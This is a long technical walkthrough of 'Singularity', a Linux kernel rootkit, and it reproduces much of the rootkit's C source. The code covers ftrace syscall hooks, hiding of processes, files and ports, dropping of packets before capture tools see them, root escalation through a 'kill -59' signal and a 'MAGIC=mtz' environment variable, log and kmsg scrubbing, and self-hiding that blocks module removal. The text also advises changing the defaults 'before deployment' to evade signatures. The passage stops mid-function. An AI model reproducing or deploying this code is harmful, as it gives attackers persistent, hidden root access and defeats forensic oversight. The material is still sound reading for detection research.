Singularity: Deep Dive into a Modern Stealth Linux Kernel Rootkit

Singularity: Deep Dive into a Modern Stealth Linux Kernel Rootkit

Singularity: Deep Dive into a Modern Stealth Linux Kernel Rootkit

“When you gaze into the abyss of kernel space, the abyss hooks back at you.”

imgur

Summary

Singularity is a Loadable Kernel Module (LKM) rootkit developed for Linux 6.x kernels that demonstrates advanced evasion and persistence techniques. This article shows its architecture, from the ftrace-based hooking infrastructure to the anti-forensics mechanisms, offering insights for both security researchers and defenders who need to detect and mitigate these threats.

Full Source Code: https://github.com/MatheuZSecurity/Singularity


Table of Contents


Hooking Overview

Singularity uses the legitimate ftrace for hooking system calls, avoiding directly altering the System Call Table.

It resolves symbols in modern kernels via a temporary kprobe in kallsyms_lookup_name, installs an ftrace_ops with SAVE_REGS, RECURSION, and IPMODIFY, and filters only the target addresses with ftrace_set_filter_ip().

The big advantage of this is that it bypasses protections like CR0 WP.

However, if you use ftrace, it becomes a potential target for simple detections in some filesystem files, specifically in sysfs, for example, inspection of enabled_functions and available_filter_functions.

Interestingly, ftrace operates within kernel protections, not against them.

Detection Vectors

Of course, nothing is perfect. The biggest sign of ftrace hooks:

/sys/kernel/debug/tracing/enabled_functions: Lists all functions with ftrace enabled.

Singularity filters reads from these files (discussed later), but a forensic analyst with direct memory access can still detect the ftrace_ops structures.


Concealment of Processes

Hiding processes is one of the most important features of any rootkit. Singularity implements this in multiple layers.

PID Tracking

In the center is a very simple array:

#define MAX_HIDDEN_PIDS 32

int hidden_pids[MAX_HIDDEN_PIDS];
int hidden_count = 0;

notrace void add_hidden_pid(int pid) {
    int i;
    
    for (i = 0; i < hidden_count; i++) {
        if (hidden_pids[i] == pid)
            return;
    }
    
    if (hidden_count < MAX_HIDDEN_PIDS) {
        hidden_pids[hidden_count++] = pid;
    }
}

Why so simple? Because it works. A 32-entry array with linear search is faster. No locks needed for reads. No dynamic memory allocation. It’s just a regular array.

Trigger via Signal

The most interesting part, how does a process become hidden? By hooking syscall kill():

static notrace asmlinkage long hook_kill(const struct pt_regs *regs) {
    int pid = (int)regs->di;
    int signal = (int)regs->si;

    if (signal == 59) {
        SpawnRoot();
        add_hidden_pid(pid);
        return 0;
    }

    if (signal == 0 && should_hide_pid_by_int(pid)) {
        return -ESRCH;
    }

    return orig_kill(regs);
}

Signal 59 was chosen because it is above the standard POSIX signals (1-31) and real-time signals (32-64), but still valid. When you run kill -59 <PID>:

  1. Hook intercepts
  2. Changes the current process ID to root (discussed later)
  3. Adds to the list of hidden PIDs
  4. Returns success without giving any signal

The target process notices nothing, no signals delivered, no apparent state change. Just silent and hidden privilege elevation.

imgur

Figure: Hiding and escalation flow through kill -59

Signal 0: The second condition handles kill -0 <PID>, typically used to test if a process exists. For hidden PIDs, we return -ESRCH (No such process). Even direct existence checks fail. This specific part is to avoid detection by tools like unhide and chkrootkit.

Directory Listings Filtering

/proc exposes processes as directories named by PID. To hide them, we filter these listings:

static notrace asmlinkage long hook_getdents64(const struct pt_regs *regs)
{
    long res = orig_getdents64(regs);
    if (res <= 0) return res;
    return filter_dirents((void __user *)regs->si, res, true);
}

The real work happens in filter_dirents():

static notrace long filter_dirents(void __user *user_dir, long n, bool is_64)
{
    char *kernel_buf, *filtered_buf;
    long offset = 0, new_offset = 0, result = n;

    if (n <= 0)
        return n;

    kernel_buf = kmalloc(n, GFP_KERNEL);
    if (!kernel_buf)
        return -ENOMEM;

    if (copy_from_user(kernel_buf, user_dir, n)) {
        kfree(kernel_buf);
        return -EFAULT;
    }

    filtered_buf = kzalloc(n, GFP_KERNEL);
    if (!filtered_buf) {
        kfree(kernel_buf);
        return -ENOMEM;
    }

    while (offset < result) {
        char *curr_name;
        unsigned short reclen;
        void *curr_entry = kernel_buf + offset;

        if (is_64) {
            struct linux_dirent64 *d = (struct linux_dirent64 *)curr_entry;
            curr_name = d->d_name;
            reclen = d->d_reclen;
        } else {
            struct linux_dirent *d = (struct linux_dirent *)curr_entry;
            curr_name = d->d_name;
            reclen = d->d_reclen;
        }

        if (!should_hide_name(curr_name)) {
            if (new_offset + reclen <= n) {
                memcpy(filtered_buf + new_offset, curr_entry, reclen);
                new_offset += reclen;
            }
        }

        offset += reclen;
    }

    if (copy_to_user(user_dir, filtered_buf, new_offset)) {
        kfree(kernel_buf);
        kfree(filtered_buf);
        return -EFAULT;
    }

    kfree(kernel_buf);
    kfree(filtered_buf);
    return new_offset;
}

Explanation:

  1. Modification: We copy directory entries to kernel space, filter them, and copy them back. The userspace buffer is modified in-place, and the calling program sees a perfectly edited listing.

  2. Variable-length records: getdents returns variable-length dirent structures. Each entry contains its own size in d_reclen. We need to parse this carefully, or we’ll corrupt the buffer.

  3. Return value adjustment: The subtlest detail: we return the new, smaller size. Programs like ls use this value to know how many bytes to parse. By reducing it, we ensure they never see the removed entries.

imgur

Figure: Hiding process from /proc/

Hooking stat

Filtering directories solves ls, but what about direct calls like stat /proc/1337?

static notrace asmlinkage long hooked_sys_stat(const struct pt_regs *regs) {
    const char __user *pathname = (const char __user *)regs->di;
    long ret;

    if (should_hide_path(pathname))
        return -ENOENT;

    ret = real_sys_stat(regs);
    if (ret != 0)
        return ret;

#if defined(CONFIG_X86_64)
    adjust_user_stat_nlink(pathname, (void __user *)regs->si, sizeof(struct stat), false);
#else
    adjust_user_stat_nlink(pathname, (void __user *)regs->bx, sizeof(struct stat), false);
#endif

    return ret;
}

should_hide_path() checks hidden patterns and PIDs:

notrace bool should_hide_path(const char __user *pathname)
{
    char buf[PATH_BUF_SIZE];
    long copied;
    int i;

    if (!pathname)
        return false;

    memset(buf, 0, PATH_BUF_SIZE);
    copied = strncpy_from_user(buf, pathname, PATH_BUF_SIZE - 1);
    if (copied < 0)
        return false;

    buf[PATH_BUF_SIZE - 1] = '\0';

    for (i = 0; hidden_patterns[i] != NULL; i++) {
        if (strstr(buf, hidden_patterns[i]))
            return true;
    }

    if (!strncmp(buf, "/proc/", 6)) {
        const char *after = buf + 6;
        char pid_buf[16] = {0};
        int j = 0;

        while (j < (int)sizeof(pid_buf) - 1 &&
               after[j] &&
               after[j] >= '0' && after[j] <= '9') {
            pid_buf[j] = after[j];
            j++;
        }
        pid_buf[j] = '\0';

        if (j > 0 && is_hidden_pid(pid_buf)) {
            return true;
        }
    }

    return false;
}

Two types of verification:

  1. Pattern matching: Files/directories containing “singularity”, “matheuz”, etc. are hidden regardless of location.
  2. PID extraction: For paths like /proc/1337/cmdline, we extract “1337” and check our list of hidden PIDs.

imgur

Figure: Preventing hidden processes, directories and files from being detected by stat

An interesting forensic artifact arises when hiding subdirectories: the parent directory’s link count (st_nlink) becomes inconsistent.

Every subdirectory adds 2 to its parent’s link count (one for the directory itself, one for its . entry). When we hide subdirectories, this count becomes incorrect.

static notrace void adjust_user_stat_nlink(const char __user *pathname_user, 
                                           void __user *user_stat, 
                                           size_t stat_size, 
                                           bool is_statx)
{
    int hidden_cnt = count_hidden_subdirs(pathname_user);
    if (hidden_cnt <= 0)
        return;

    if (is_statx) {
        struct statx kstx;
        if (copy_from_user(&kstx, user_stat, sizeof(kstx)))
            return;
        if (kstx.stx_nlink > (u64)hidden_cnt)
            kstx.stx_nlink -= (u64)hidden_cnt;
        else
            kstx.stx_nlink = 1;
        copy_to_user(user_stat, &kstx, sizeof(kstx));
        return;
    }
    
}

This seemingly minor detail prevents automated tools from detecting hidden entries by comparing expected vs. actual link counts.

imgur

Figure: Preventing inconsistency

Additional Process Hooks

Singularity hooks several process-related syscalls to maintain consistency:

static struct ftrace_hook hooks[] = {
    HOOK("__x64_sys_kill", hook_kill, &orig_kill),
    HOOK("__x64_sys_getpgid", hook_getpgid, &orig_getpgid),
    HOOK("__x64_sys_getpgrp", hook_getpgrp, &orig_getpgrp),
    HOOK("__x64_sys_getsid", hook_getsid, &orig_getsid),
    HOOK("__x64_sys_sched_getaffinity", hook_sched_getaffinity, &orig_sched_getaffinity),
    HOOK("__x64_sys_sched_getparam", hook_sched_getparam, &orig_sched_getparam),
    HOOK("__x64_sys_sched_getscheduler", hook_sched_getscheduler, &orig_sched_getscheduler),
    HOOK("__x64_sys_sched_rr_get_interval", hook_sched_rr_get_interval, &orig_sched_rr_get_interval),
    HOOK("__x64_sys_sysinfo", hook_sysinfo, &orig_sysinfo),
};

Each returns -ESRCH when queried for a hidden PID:

static notrace asmlinkage long hook_getsid(const struct pt_regs *regs)
{
    int pid = (int)regs->di;
    if (should_hide_pid_by_int(pid))
        return -ESRCH;
    return orig_getsid(regs);
}

System Information Adjustment

sysinfo() returns system statistics, including process count. We decrement to account for hidden processes:

static notrace asmlinkage long hook_sysinfo(const struct pt_regs *regs)
{
    void __user *user_info = (void __user *)regs->di;
    long ret = orig_sysinfo(regs);
    
    if (ret != 0 || !user_info)
        return ret;

    struct sysinfo kinfo;
    if (copy_from_user(&kinfo, user_info, sizeof(kinfo)) != 0)
        return ret;

    if (hidden_count > 0 && kinfo.procs > hidden_count)
        kinfo.procs -= hidden_count;

    copy_to_user(user_info, &kinfo, sizeof(kinfo));
    return ret;
}

This ensures that top, htop, and other system monitors show consistent counts, preventing suspected discrepancies between listed processes and total counts.


File System Stealth

In addition to hiding processes, Singularity hides files and directories through pattern-based filtering.

Pattern-Based Hiding

The system is driven by a simple array of strings:

static const char *hidden_patterns[] = {
    "jira",
    "singularity",
    "obliviate",
    "matheuz",
    "zer0t",
    NULL  
};

Any file or directory containing these substrings is hidden from all filesystem operations.

Consideration: Users should modify these defaults before deployment. If detection signatures emerge targeting these specific strings, customization provides immediate evasion.

Getdents Filtering

The same filter_dirents() function that hides process PIDs also filters filesystem entries:

static notrace bool should_hide_name(const char *name)
{
    int i;

    if (!name)
        return false;

    for (i = 0; hidden_patterns[i] != NULL; i++) {
        if (strstr(name, hidden_patterns[i]))
            return true;
    }

    if (is_hidden_pid(name))
        return true;

    return false;
}

This unified approach means that ls never sees hidden files, regardless of whether they are in /proc, /tmp, /dev/shm, or anywhere else.

imgur

Figure: Hiding directory from ls

Access Prevention (openat)

Filtering directory listings is not enough, we also need to prevent direct access attempts:

static notrace asmlinkage long hook_openat(const struct pt_regs *regs)
{
    const char __user *pathname = (const char __user *)regs->si;
    if (is_hidden_proc_path(pathname))
        return -ENOENT;
    return orig_openat(regs);
}

When a program tries to open a hidden path (e.g. cat /proc/1337/cmdline for a hidden PID), we return -ENOENT. From the program’s perspective, the file simply doesn’t exist.

imgur

Figure: Blocking direct access in hidden processes

Symlinks pose a special challenge. readlink() resolves symlinks without opening them, potentially revealing hidden paths:

static notrace asmlinkage long hook_readlink(const struct pt_regs *regs) {
    const char __user *pathname = (const char __user *)regs->di;

    if (should_hide_path(pathname)) {
        return -ENOENT;
    }
    return orig_readlink(regs);
}

This prevents commands like readlink /proc/1337/exe from revealing information about hidden processes.

imgur

Figure: Prevent the disclosure of information about hidden processes

Directory Browsing Blocking (chdir)

Simply hiding directory entries is not enough if someone knows the path:

$ ls /dev/shm/
# (singularity directory not shown)
$ cd /dev/shm/singularity
# Should this work?

To prevent this, we hook chdir():

static notrace asmlinkage long hook_chdir(const struct pt_regs *regs) {
    const char __user *pathname = (const char __user *)regs->di;

    if (should_hide_path(pathname)) {
        return -ENOENT;
    }
    return orig_chdir(regs);
}

Now, even if someone knows the directory’s name, they can’t navigate to it. The system behaves as if it doesn’t exist.

imgur

Forensic Implications of /dev/shm

The project’s README mentions using /dev/shm:

To prevent any operations performed from being easily detected by forensic tools such as debugfs on /dev/sda3 (example) and this is certainly a problem for us… it is recommended to create hidden files and directories in /dev/shm. This directory is a partition mounted in RAM (tmpfs), meaning it does not use the disk file system.

Why This Matters:

  1. No disk artifacts: Files in tmpfs never touch the disk, preventing recovery via filesystem forensics.
  2. Debugfs blind spot: Tools like debugfs that examine ext4 structures cannot see tmpfs contents.
  3. Memory volatility: A simple reboot erases all traces.
  4. Journal immunity: Filesystem journals do not record tmpfs operations.

Hidden Network Layer

Network stealth is critical for C2 operations, backdoors, and data exfiltration. Singularity implements multilayered network obfuscation by targeting specific ports.

Port Hiding

The rootkit hides a port (8081) across multiple network monitoring interfaces:

#define PORT 8081

Note: This hardcoded value must be modified before deploying. Although it requires recompilation, it prevents signature-based detection by targeting the default port.

TCP File Filtering

Linux exposes network connections through /proc/net/tcp and /proc/net/tcp6. These pseudo-files are dynamically generated by sequence file operations. Singularity hooks the show functions:

static notrace asmlinkage long hooked_tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct sock *sk = v;
    if (sk == (void *)1)
        return orig_tcp4_seq_show(seq, v);

    int sport = ntohs(inet_sk(sk)->inet_sport);
    int dport = ntohs(inet_sk(sk)->inet_dport);

    if (sport == PORT || dport == PORT)
        return 0;

    return orig_tcp4_seq_show(seq, v);
}

*Details:

  1. Pointer magic: v is a pointer to the current socket structure. The kernel uses (void *)1 as the sentinel value for the header line, which we must pass on.

  2. Port extraction: inet_sk(sk) casts the generic socket to inet socket, giving us access to port numbers. inet_sport/inet_dport are in network byte order (big-endian), so ntohs() converts.

  3. Silent filtering: Instead of calling the original function for hidden ports, we simply return 0. This causes the sequence file to skip that entry entirely.

  4. Bidirectional hiding: We check both source and destination ports because we want to hide the port regardless of whether it is listening or connecting.

The same logic applies to IPv6:

static notrace asmlinkage long hooked_tcp6_seq_show(struct seq_file *seq, void *v)
{
    struct sock *sk = v;
    if (sk == (void *)1)
        return orig_tcp6_seq_show(seq, v);

    int sport = ntohs(inet_sk(sk)->inet_sport);
    int dport = ntohs(inet_sk(sk)->inet_dport);

    if (sport == PORT || dport == PORT)
        return 0;

    return orig_tcp6_seq_show(seq, v);
}

This dual-stack approach ensures that the hidden port is invisible regardless of whether the connection uses IPv4 or IPv6.

imgur

Figura: Hiding Port from ss, lsof and netstat.

Packet Capture Prevention

Hiding from /proc/net/tcp solves the problem for tools like netstat and lsof, but packet capture is a different challenge.

Tools like tcpdump and Wireshark use raw sockets to capture all network traffic. To hide from them, we need to operate at the packet reception layer:

static notrace int hooked_tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
        struct packet_type *pt, struct net_device *orig_dev)
{
    struct iphdr *iph;
    struct ipv6hdr *ip6h;
    struct tcphdr *tcph;

    if (!strncmp(dev->name, "lo", 2))
        return NET_RX_DROP;

    if (skb_linearize(skb))
        goto out;

    if (skb->protocol == htons(ETH_P_IP)) {
        iph = ip_hdr(skb);
        if (iph->protocol == IPPROTO_TCP) {
            tcph = (void *)iph + iph->ihl * 4;
            if (ntohs(tcph->dest) == PORT || ntohs(tcph->source) == PORT)
                return NET_RX_DROP;
        }
    } 
    else if (skb->protocol == htons(ETH_P_IPV6)) {
        ip6h = ipv6_hdr(skb);
        if (ip6h->nexthdr == IPPROTO_TCP) {
            tcph = (void *)ip6h + sizeof(*ip6h);
            if (ntohs(tcph->dest) == PORT || ntohs(tcph->source) == PORT)
                return NET_RX_DROP;
        }
    }

out:
    return orig_tpacket_rcv(skb, dev, pt, orig_dev);
}

Deep Dive into Packet Filtering:

  1. Hooking tpacket_rcv: This function is the receive handler for AF_PACKET sockets, which is what packet capture tools use. By hooking here, we intercept packets before they reach the capture applications.

  2. Loopback Exception: The conditional if (!strncmp(dev->name, "lo", 2)) is counterintuitive, why drop loopback packets instead of filtering them? It’s a failsafe: loopback traffic often carries legitimate inter-process communication, and filtering it can break system functionality. By dropping the entire packet early, we avoid complex loopback filtering logic.

  3. skb_linearize(): Network packets can be fragmented into non-contiguous memory (a “scatter-gather” optimization). skb_linearize() ensures that the entire packet is in contiguous memory, making header parsing safe and straightforward.

  4. Protocol Layer Parsing: We need to navigate the protocol stack:
    • Check Ethernet protocol type (skb->protocol)
    • Extract IP header (v4 or v6)
    • Check if it is TCP (iph->protocol == IPPROTO_TCP)
    • Calculate TCP header offset (IPv4 headers are variable length: iph->ihl * 4 bytes)
    • Extract and check port numbers
  5. Return value NET_RX_DROP: This tells the kernel to silently drop the packet. From the packet capture tool’s perspective, the packet simply never arrived on the network interface.

Impact on Network Monitoring Tools

The combined effect of these hooks:

Tool Hidden By Visibility
netstat Filtering /proc/net/tcp* Completely hidden
ss Filtering /proc/net/tcp* Completely hidden
lsof -i Filtering /proc/net/tcp* Completely hidden
tcpdump Hook tpacket_rcv Uncaptured packets
wireshark Hook tpacket_rcv Uncaptured packets

imgur

Figure: Packet filtering flow in tpacket_rcv


Privilege Escalation Vectors

Singularity provides two mechanisms for privilege escalation, both designed to be easily triggered.

Signal-Based Escalation

As discussed previously, kill -59 <PID> both hides a process and elevates it to root:

static notrace asmlinkage long hook_kill(const struct pt_regs *regs) {
    int pid = (int)regs->di;
    int signal = (int)regs->si;

    if (signal == 59) {
        SpawnRoot();
        add_hidden_pid(pid);
        return 0;
    }
    
    // ... other logic ...
}

static notrace void SpawnRoot(void) {
    struct cred *newcredentials;

    newcredentials = prepare_creds();
    if (!newcredentials)
        return;

    newcredentials->uid.val   = 0;
    newcredentials->gid.val   = 0;
    newcredentials->suid.val  = 0;
    newcredentials->sgid.val  = 0;
    newcredentials->fsuid.val = 0;
    newcredentials->fsgid.val = 0;
    newcredentials->euid.val  = 0;
    newcredentials->egid.val  = 0;

    commit_creds(newcredentials);
}

Deep Dive into the Credential Structure:

Linux processes have multiple sets of credentials:

  • Real UID/GID (uid, gid): Identifies the actual user who started the process
  • Effective UID/GID (euid, egid): Used for permission checks
  • Saved UID/GID (suid, sgid): Saved set-user-ID for privileged programs
  • Filesystem UID/GID (fsuid, fsgid): Used for filesystem operations (usually equal to euid/egid)

For full privilege escalation, we need to set all to 0 (root). Losing any of them can leave restrictions in place.

The prepare_creds() / commit_creds() Pattern:

  1. prepare_creds() creates a copy of the current process’s credentials.
  2. We modify the copy to set all IDs to 0.
  3. commit_creds() atomically swaps the credentials.

Trigger via Environment Variable

The second escalation method is more subtle, it triggers automatically when a bash shell has a specific environment variable:

static notrace asmlinkage long hook_getuid(const struct pt_regs *regs) {
    const char *name = current->comm;
    struct mm_struct *mm;
    char *envs;
    int len, i;

    if (strcmp(name, "bash") == 0) {
        mm = current->mm;
        if (mm && mm->env_start && mm->env_end) {
            envs = kmalloc(PAGE_SIZE, GFP_ATOMIC);
            if (envs) {
                len = access_process_vm(current, mm->env_start, envs, PAGE_SIZE - 1, 0);
                if (len > 0) {
                    for (i = 0; i < len - 1; i++) {
                        if (envs[i] == '\0')
                            envs[i] = ' ';
                    }
                    if (strstr(envs, "MAGIC=mtz")) {
                        rootmagic();
                    }
                }
                kfree(envs);
            }
        }
    }

    return orig_getuid(regs);
}

Why hook getuid()?: This syscall is frequently called by shells and authentication-related programs. Hooking it gives us many opportunities to check for the magic environment variable without adding a dedicated polling thread.

Environment Variable Parsing:

  1. Process Identification: Checks if the current process is bash by examining current->comm.

  2. Memory Descriptor Access: Each process has an mm_struct that describes its memory layout. The env_start and env_end fields delimit the environment variable region.

  3. Cross-Space Memory Access: access_process_vm() allows kernel code to safely read from another process’s userspace memory. This is necessary because we are in the context of the syscall but need to read the target process’s environment.

  4. Null Byte Normalization: Environment variables are stored as null-terminated strings: VAR1=value1\0VAR2=value2\0.... To use strstr() for searching, we replace null bytes with spaces, creating a single searchable string.

  5. Magic Detection: If “MAGIC=mtz” appears anywhere in the environment, we elevate the process.

Usage:

$ whoami
user
$ MAGIC=mtz bash
$ whoami
root

The new bash process inherits the environment variable, triggers the hook on its first getuid() call, and instantly becomes root. The original user-level bash process remains unprivileged.

imgur

Figure: Privilege escalation via MAGIC environment variable

OPSEC: This technique leaves audit logs showing the environment variable. In hardened environments with auditd monitoring execve() arguments and environment, this can be detected. The signal-based method is more stealthy.

Escalation Method Comparison

Method Stealth Ease of Use Audit Trail
kill -59 High Medium (requires knowing target PID) Minimal (only one failed kill)
MAGIC=mtz bash Medium High (only set env var) High (env visible in audit logs)

Both methods modify credentials in-place without creating setuid binaries or modifying sensitive files like /etc/passwd or /etc/sudoers, making them difficult to detect through traditional integrity monitoring.


Kernel Log Sanitization

Kernel modules leave traces in various logs and debug interfaces. Singularity implements comprehensive log filtering to remove evidence of their presence.

Multi-Interface Filtering

The rootkit hooks a read() syscall to filter content from multiple log sources:

static notrace bool should_filter_file(const char *filename) {
    if (!filename)
        return false;
    return (strcmp(filename, "kmsg") == 0 ||
            strcmp(filename, "kallsyms") == 0 ||
            strcmp(filename, "enabled_functions") == 0 ||
            strcmp(filename, "control") == 0 ||
            strcmp(filename, "debug") == 0 ||
            strcmp(filename, "trace") == 0 ||
            strcmp(filename, "stat") == 0 ||
            strcmp(filename, "kern.log") == 0 ||
            strcmp(filename, "kern.log.1") == 0 ||
            strcmp(filename, "syslog") == 0 ||
            strcmp(filename, "auth.log") == 0 ||
            strcmp(filename, "auth.log.1") == 0 ||
            strcmp(filename, "vmallocinfo") == 0 ||
            strcmp(filename, "syslog.1") == 0 ||
            strcmp(filename, "touched_functions") == 0);
}

Target Files Explained:

  • kmsg: The kernel message buffer, read by dmesg
  • kallsyms: Kernel symbol table (shows all function addresses)
  • enabled_functions: List of ftrace hooked functions
  • touched_functions: Similar to enabled_functions
  • trace: Ftrace output buffer
  • kern.log, syslog, auth.log: Userspace log files (rsyslog, journald)
  • vmallocinfo: Virtual memory allocations (may reveal module memory)

Read Hook Implementation

static notrace asmlinkage ssize_t hook_read(const struct pt_regs *regs) {
    if (!orig_read)
        return -EINVAL;

    int fd = regs->di;
    char __user *user_buf = (char __user *)regs->si;
    if (!user_buf)
        return -EFAULT;

    struct file *file = fget(fd);
    if (!file)
        return orig_read(regs);

    const char *filename = NULL;
    if (file->f_path.dentry)
        filename = file->f_path.dentry->d_name.name;

    if (!should_filter_file(filename)) {
        fput(file);
        return orig_read(regs);
    }

    bool is_kmsg = is_kmsg_device(filename);
    fput(file);

    if (is_kmsg) {
        ssize_t result;
        do {
            result = orig_read(regs);
            if (result <= 0)
                return result;
            result = filter_kmsg_line(user_buf, result);
        } while (result == 0);
        return result;
    } else {
        ssize_t bytes_read = orig_read(regs);
        if (bytes_read <= 0)
            return bytes_read;
        return filter_buffer_content(user_buf, bytes_read);
    }
}

Keys:

  1. File descriptor to filename resolution: We use fget(fd) to convert the file descriptor to struct file, then extract the filename from the dentry. This is necessary because read() only receives a file descriptor, not a path.

  2. Exit: If the file is not in our filter list, we immediately call the original read() and return. This minimizes performance impact on normal operations.

  3. Differentiated handling: kmsg is special because it returns one log line per read, while regular files return multiple lines. The loop structure handles the line-by-line nature of kmsg.

kmsg Line-by-Line Filtering

notrace static ssize_t filter_kmsg_line(char __user *user_buf, ssize_t bytes_read) {
    if (bytes_read <= 0 || !user_buf)
        return bytes_read;

    char *kernel_buf = kmalloc(bytes_read + 1, GFP_KERNEL);
    if (!kernel_buf)
        return bytes_read;

    if (copy_from_user(kernel_buf, user_buf, bytes_read)) {
        kfree(kernel_buf);
        return bytes_read;
    }

    kernel_buf[bytes_read] = '\0';

    ssize_t ret = line_contains_sensitive_info(kernel_buf) ? 0 : bytes_read;

    kfree(kernel_buf);
    return ret;
}

Mechanism: Reading from /dev/kmsg returns a full log line per read operation (with metadata). If the line contains sensitive information, we return 0, causing the caller to immediately call read() again. The loop in hook_read() continues until we encounter a non-sensitive line or the buffer is exhausted.

Note: Most LKM rootkits can be detected in /dev/kmsg, which is why we’re filtering kmsg so thoroughly. It’s a very powerful evasion feature, as it leaves no logs.

This approach is elegant because:

  • The caller (e.g., dmesg) doesn’t see errors
  • Sensitive lines simply “don’t exist”
  • No complex buffer manipulation required

Multi-Line Log Filtering

For regular log files that return multiple lines per read:

notrace static ssize_t filter_buffer_content(char __user *user_buf, ssize_t bytes_read) {
    if (bytes_read <= 0 || !user_buf)
        return bytes_read;

    if (bytes_read > MAX_CAP)
        bytes_read = MAX_CAP;

    char *kernel_buf = kmalloc(bytes_read + 1, GFP_KERNEL);
    if (!kernel_buf)
        return -ENOMEM;

    if (copy_from_user(kernel_buf, user_buf, bytes_read)) {
        kfree(kernel_buf);
        return -EFAULT;
    }
    kernel_buf[bytes_read] = '\0';

    char *filtered_buf = kzalloc(bytes_read + 1, GFP_KERNEL);
    if (!filtered_buf) {
        kfree(kernel_buf);
        return -ENOMEM;
    }

    size_t filtered_len = 0;
    char *line_start = kernel_buf;
    char *line_end;

    while ((line_end = strchr(line_start, '\n'))) {
        *line_end = '\0';
        if (!line_contains_sensitive_info(line_start)) {
            size_t line_len = strlen(line_start);
            if (filtered_len + line_len + 1 <= bytes_read) {
                memcpy(filtered_buf + filtered_len, line_start, line_len);
                filtered_len += line_len;
                filtered_buf[filtered_len++] = '\n';
            }
        }
        line_start = line_end + 1;
    }

    if (*line_start && !line_contains_sensitive_info(line_start)) {
        size_t line_len = strlen(line_start);
        if (filtered_len + line_len <= bytes_read) {
            memcpy(filtered_buf + filtered_len, line_start, line_len);
            filtered_len += line_len;
        }
    }

    if (copy_to_user(user_buf, filtered_buf, filtered_len)) {
        kfree(kernel_buf);
        kfree(filtered_buf);
        return -EFAULT;
    }

    kfree(kernel_buf);
    kfree(filtered_buf);
    return filtered_len;
}

Keys:

  1. Copies the entire read buffer from userspace to kernel space
  2. Allocates a second buffer for filtered output
  3. Parses line-by-line using strchr() to find newlines
  4. For each line, checks if it contains sensitive keywords
  5. If cleared, copies to the filtered buffer; if sensitive, skips
  6. Copies the filtered buffer back to userspace
  7. Returns the new, smaller size

Memory Safety: The MAX_CAP limit (64KB) prevents memory exhaustion from malicious or malformed reads. Size checks during copying prevent buffer overflows.

Sensitive Content Detection

notrace static bool line_contains_sensitive_info(const char *line) {
    if (!line)
        return false;
    return (strstr(line, "taint") != NULL ||
            strstr(line, "journal") != NULL ||
            strstr(line, "singularity") != NULL ||
            strstr(line, "Singularity") != NULL ||
            strstr(line, "matheuz") != NULL ||
            strstr(line, "zer0t") != NULL ||
            strstr(line, "jira") != NULL ||
            strstr(line, "obliviate") != NULL);
}

This function uses simple substring matching. Keywords include:

  • “taint”: Kernel taint flags (discussed later)
  • “journal”: Systemd journal entries
  • Rootkit names: singularity, matheuz, zer0t, etc.
  • Hidden file patterns: jira, obliviate (from the hidden patterns list)

Customization: These keywords should be modified before deployment. If the rootkit is renamed or different file patterns are used, this list should be updated accordingly.

Scheduler Debug Filtering

An interesting additional hook targets the kernel scheduler’s debug interface:

static notrace int hook_sched_debug_show(struct seq_file *m, void *v) {
    if (!orig_sched_debug_show || !m)
        return -EINVAL;

    size_t buf_size = 8192;
    char *buf = kzalloc(buf_size, GFP_KERNEL);
    if (!buf)
        return orig_sched_debug_show(m, v);

    struct seq_file tmp_seq = *m;
    tmp_seq.buf = buf;
    tmp_seq.size = buf_size;
    tmp_seq.count = 0;

    int ret = orig_sched_debug_show(&tmp_seq, v);

    if (m->buf) {
        char *line = buf;
        char *line_ptr;
        while ((line_ptr = strchr(line, '\n'))) {
            *line_ptr = '\0';
            if (!line_contains_sensitive_info(line))
                seq_printf(m, "%s\n", line);
            line = line_ptr + 1;
        }
    }

    kfree(buf);
    return ret;
}

The scheduler debug interface (/sys/kernel/debug/sched/debug) displays detailed information about all running tasks, including hidden processes. This hook intercepts the seq_file show operation, redirects output to a temporary buffer, filters line-by-line, and outputs only clean lines to the real seq_file.

Seq_file Complexity: This is more complex than regular file filtering because seq_file uses an internal buffer management system. We can’t simply modify the buffer, we must create a temporary seq_file, let the original function populate it, filter the contents, and then output to the real seq_file.

imgur

Figure: Hiding from scheduler


Module Auto-Hide

One of the most critical aspects of rootkit operation is hiding the rootkit module itself. Singularity implements module hiding at multiple levels of the kernel module subsystem.

Overview of the Linux Modules Subsystem

Loadable kernel modules are managed through several interconnected data structures:

  1. Module List: A doubly linked list (struct list_head) connecting all loaded modules.
  2. Sysfs Representation: Each module has a kobject in /sys/module//
  3. Module State: Tracks whether a module is LIVE, COMING, GOING, or UNFORMED.

Hiding a module requires manipulating all of these structures to make the module “disappear” from the kernel’s introspection interfaces.

Module Hider State Management

struct module_hider_state {
    struct list_head *saved_list_pos;
    struct kobject   *saved_parent;
    bool hidden;
};

static struct module_hider_state hider_state = {0};

We maintain state to track whether the module is hidden and save information needed for potential unhiding (although Singularity intentionally does not provide unhide functionality, so once loaded, it will not be possible to remove it with rmmod, only reboot the machine).

Remoção do Sysfs

static void __remove_from_sysfs(struct module *mod)
{
    struct kobject *kobj = &mod->mkobj.kobj;

    if (kobj && kobj->parent) {
        kobject_del(kobj);
        kobj->parent = NULL;
        kobj->kset   = NULL;

        if (mod->holders_dir) {
            kobject_put(mod->holders_dir);
            mod->holders_dir = NULL;
        }
    }
}

Kobject: Linux uses kobjects to represent kernel objects in sysfs. Each module has a kobject that creates its /sys/module/<name>/ directory.

What we’re doing:

  1. kobject_del(): Removes the kobject from the sysfs hierarchy, deleting the directory.
  2. kobj->parent = NULL: Clears the parent reference, severing the connection.
  3. kobj->kset = NULL: Removes the kset (a collection of related kobjects) from the module.
  4. Cleaning up holders_dir: Modules can have “holders” (other modules depending on them). This directory should also be removed.

After this operation, /sys/module/singularity/ no longer exists, preventing custom tools and scripts from enumerating the module through sysfs.

Module List Manipulation

static void __remove_from_module_list(struct module *mod)
{
    if (!list_empty(&mod->list)) {
        list_del_init(&mod->list);

        mod->list.prev = (struct list_head *)0x37373731;
        mod->list.next = (struct list_head *)0x22373717;
    }
}

List Removal:

  1. list_del_init(): Removes the module from the doubly linked list of modules and reinitializes the list head (sets prev/next to point to itself).

  2. Poison Values: The hex values ​​0x37373731 and 0x22373717 are “poison” values,invalid pointers that would cause immediate crashes if dereferenced. This serves two purposes:

    • Debugging: If something tries to traverse through our module, it will crash obviously rather than silently corrupt memory.
    • Forensics: These specific values ​​may be recognizable patterns, but they are better than leaving valid pointers.

After this operation, iterating through the module list (as lsmod does) will completely skip over our module.

Module State Sanitization

static void __sanitize_module_info(struct module *mod)
{
    mod->state = MODULE_STATE_UNFORMED;
